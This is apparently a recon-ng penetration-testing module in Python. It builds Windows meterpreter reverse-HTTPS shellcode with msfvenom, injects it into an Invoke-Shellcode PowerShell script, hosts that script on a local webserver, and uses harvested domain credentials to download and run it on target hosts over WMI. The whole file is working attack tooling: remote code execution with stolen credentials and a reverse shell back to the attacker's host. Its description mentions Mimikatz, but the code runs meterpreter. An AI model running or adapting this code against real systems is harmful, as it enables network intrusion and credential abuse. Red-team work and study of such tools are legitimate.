from __future__ import print_function
from recon.core.module import BaseModule

import os
import subprocess

from libs.pentestlymodule import PentestlyModule
from libs.misc import parse_mimikatz, Colors

class Module(PentestlyModule):

    meta = {
        'name': 'Execute Mimikatz',
        'author': 'Cory Duplantis (@ctfhacker)',
        'description': 'Remotely downloads Invoke-Mimikatz.ps1 and executes via WMI.',
        'query': 'SELECT username,password,domain,host FROM pentestly_creds WHERE success="True" AND execute!="False"',
        'options': (
            ('LHOST', '', True, 'Target to connect back to'),
            ('RHOST', '', True, 'Target to connect to'),
        ),
    }

    def __init__(self, *args, **kwargs):
        result = BaseModule.__init__(self, *args, **kwargs)
        self.hosting_server = ''
        self.new_script_name = '/root/.recon-ng/scripts/shellcode.ps1'
        return result

    def prep_shellcode(self, lhost):
        '''Get a meterpreter completely in memory'''
        with open('/root/.recon-ng/scripts/Invoke-Shellcode.ps1', 'r') as f:
            script = f.read()

        for arch,cmd in [('32', '/root/metasploit/msfvenom -p windows/meterpreter/reverse_https -f c EXITFUNC=thread LHOST={}'.format(lhost)),
                         ('64', '/root/metasploit/msfvenom -p windows/x64/meterpreter/reverse_https -f c EXITFUNC=thread LHOST={}'.format(lhost))]:

            print(cmd)
            proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

            # Convert shellcode from \x00\x01\x02 -> 0x01,0x02,x03
            shellcode = proc.communicate()[0]

            # x86/x64 have different lengths of description before the shellcode.
            # Dynamically determine how large that description
            index = [index+1 for index,line in enumerate(shellcode.split('\n')) if 'unsigned char' in line][0]
            self.output(index)
            self.output('\n'.join(shellcode.split('\n')[:index]))

            shellcode = ''.join(shellcode.split('\n')[index:])
            shellcode = shellcode.split(';')[0]
            shellcode = shellcode.replace('\n','')
            shellcode = shellcode.replace('"','')
            shellcode = ',0x'.join(shellcode.split('\\x'))[1:]

            script = script.replace("REPLACEME{}".format(arch), shellcode)

        self.output("Writing new Invoke-Shellcode script to {}".format(self.new_script_name))
        with open(self.new_script_name, 'w') as f:
            f.write(script)

    def module_pre(self):
        self.start_webserver()
        self.test_execute()

    def module_run(self, creds):
        self.prep_shellcode(self.options['lhost'])
        rhost = self.options['rhost'].replace(' ', '').split(',')

        share = 'C$'
        url='http://{}/{}'.format(self.hosting_server, self.new_script_name.split('/')[-1])
        args = 'Invoke-Shellcode -Force'
        command = self.powershell_download(script_url=url, args=args, post_url=self.hosting_server)


        print(creds[0])
        print(len(creds))
        creds = [cred for cred in creds if cred[3] in rhost]
        print(len(creds))

    
        # Reduce creds if options are given
        for username, password, domain, host in creds:
            try:
                self.output("Execution creds: {}\{}:{}@{}".format(domain, username, password, host))
                self.wmi_execute(username, password, domain, host, command)
            except Exception as e:
                print(str(e))
                continue

    def module_post(self):
        self.stop_webserver()
